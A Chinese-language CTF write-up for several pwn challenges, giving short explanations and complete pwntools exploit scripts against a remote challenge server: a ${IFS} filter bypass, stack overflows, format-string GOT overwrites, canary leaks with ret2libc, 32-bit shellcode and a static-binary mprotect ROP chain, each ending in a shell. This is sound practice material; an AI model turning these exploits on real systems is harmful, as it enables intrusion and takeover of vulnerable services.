nc


这题主要是通过nc连接后,输入相应的指令获得flag,因此可以不用关心开启的保护机制。
程序先判断用户输入的是否是$0,若为$0则进入special-mode,再看parse_special_command函数,不能使用cat flag指令获取flag,但可以使用cat${IFS}flag获取flag。
from pwn import* io=remote('1.95.36.136',2066)
io.sendline(b'$0') io.sendline(b'cat${IFS}flag')
io.interactive()
|
stackof

存在后门函数,只需要n49等于1。
from pwn import* io=remote('1.95.36.136',2141) #io=process('./stack_of')
payload=b'a'*109+b'1' io.sendline(payload)
io.interactive()
|
fmt

32位,开启了NX和Partial RELRO,不存在后门函数,存在格式化字符串漏洞,泄漏libc,由于输入的字符串长度有限造成不了栈溢出,因此可以利用格式化字符串漏洞实现任意写,将printf的地址修改成system的地址,在下一次调用printf函数时,就相当于调用system函数,再输入/bin/sh字符串即可。

可以看出偏移量为8。
from pwn import* elf=ELF('./fmt') libc=ELF('./fmtlibc.so') io=remote('1.95.36.136',2055)
puts_got=elf.got['puts'] printf_got=elf.got['printf']
io.sendlineafter(b'PolarCTF?',b'yes')
payload=p32(puts_got)+b'%8$s' io.sendline(payload) puts=u32(io.recvuntil('\xf7')[-4:]) print(hex(puts))
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system']
payload=fmtstr_payload(8,{printf_got:system}) io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
|
can_libc

开启了canary保护,因此得先泄漏canary的值,再打ret2libc。

可以算出canary的偏移为31,使用%31$p直接泄漏,再打ret2libc。
from pwn import* from LibcSearcher import* elf=ELF('./can_libc') libc=ELF('./can_libc.so') io=remote('1.95.36.136',2084)
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main=elf.sym['main']
io.sendline(b'%31$p') io.recvuntil("0x") canary=int(io.recv(8),16) print(hex(canary))
payload=cyclic(0x70-0xc)+p32(canary)+cyclic(12)+p32(puts_plt)+p32(main)+p32(puts_got) io.sendline(payload)
puts=u32(io.recvuntil('\xf7')[-4:]) print(hex(puts))
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh'))
payload=cyclic(0x70-0xc)+p32(canary)+cyclic(12)+p32(system)+p32(main)+p32(bin_sh) io.sendline(payload)
io.interactive()
|
shellcode


程序一开始判断b的值是否为4,再将输入的字符串存放再buf1中,存在栈溢出且没有开启NX保护,因此可以打shellcode。首先就是先将b的值改为4,这里可以利用格式化字符串漏洞实现任意写(找偏移和前面是一致的,就不赘述了),再写小于0x20个字节的shellcode。
from pwn import* context.arch='i386' io=remote('1.95.36.136',2142) #io=process('./shellcode') shellcode=''' xor eax, eax ; push eax ; push 0x68732f2f ; push 0x6e69622f ; mov ebx, esp ; xor ecx, ecx ; xor edx, edx ; mov al, 11 ; int 0x80 ; ''' #23字节32位 shellcode=asm(shellcode) b=0x0804A049 buf1=0x0804A060
#gdb.attach(io)
payload=fmtstr_payload(7,{b:4}) io.sendafter(b"hacker",payload)
io.sendafter(b"password:",shellcode)
payload=cyclic(76)+p32(buf1) io.send(payload)
io.interactive()
|
call64

一道简单的64位静态编译,开启了NX与Partial RELRO保护。存在明显的栈溢出,那么打法就很丰富了,我使用的是先调用mprotect函数修改权限,再调用gets函数读入shellcode,再栈溢出执行shellcode。
from pwn import* context.arch='amd64' io=remote('1.95.36.136',2143) #io=process('./call64') elf=ELF('./call64')
gets=elf.sym['gets'] mprotect=elf.sym['mprotect'] main=elf.sym['main']
bss=0x06c9000 rax=0x041f804 rdi=0x0401636 rdx=0x0442cb6 rsi=0x0401757 rdx_rsi=0x0442cd9 ret=0x04002e1 syscall=0x04003da
m_start=0x06c9000 m_size=0x1000 m_proc=7
payload2=cyclic(0x30+8)+p64(rdi)+p64(m_start)+p64(rsi)+p64(m_size)+p64(rdx)+p64(m_proc)+p64(mprotect)+p64(main) io.sendline(payload2)
payload3=cyclic(0x30+8)+p64(rdi)+p64(m_start)+p64(gets)+p64(main) io.sendline(payload3) io.sendline(asm(shellcraft.sh()))
payload4=cyclic(0x30+8)+p64(m_start) io.sendline(payload4)
io.interactive()
|
hh
其实并不难,只是好像会输出一些垃圾数据,得先接受了再泄漏libc,挺烦的。



思路其实挺清晰的,开启了NX和canary保护,首先使用格式化字符串漏洞将值改为符合条件的值,再使用格式化字符串漏洞泄漏canary的值,最后打ret2libc。
from pwn import* from LibcSearcher import* elf=ELF('./hh1') io=remote('1.95.36.136',2147) #io=process('./hh1')
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] ret_addr=0x8048681 hh=0x0804A06C h=0x0804A070
#gdb.attach(io)
io.recv()
payload=fmtstr_payload(6,{hh:4}) io.send(payload)
io.recv()
payload=fmtstr_payload(6,{h:1280}) io.send(payload)
io.send(b'%31$p') io.recvuntil(b"0x") canary=int(io.recv(8),16) print(hex(canary))
payload=p32(canary)*29+p32(puts_plt)+p32(ret_addr)+p32(puts_got) io.recvline() io.sendline(payload) puts=u32(io.recvuntil('\xf7')[-4:].ljust(4,b'\x00')) print(hex(puts))
libc=ELF('./hh1libc.so') libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
io.send(b'a') payload=payload=p32(canary)*29+p32(system)+p32(ret_addr)+p32(bin_sh) io.recvline() io.sendline(payload)
io.interactive()
|
剩下3道堆题,等我再进一步堆的学习后再复现了(0w0)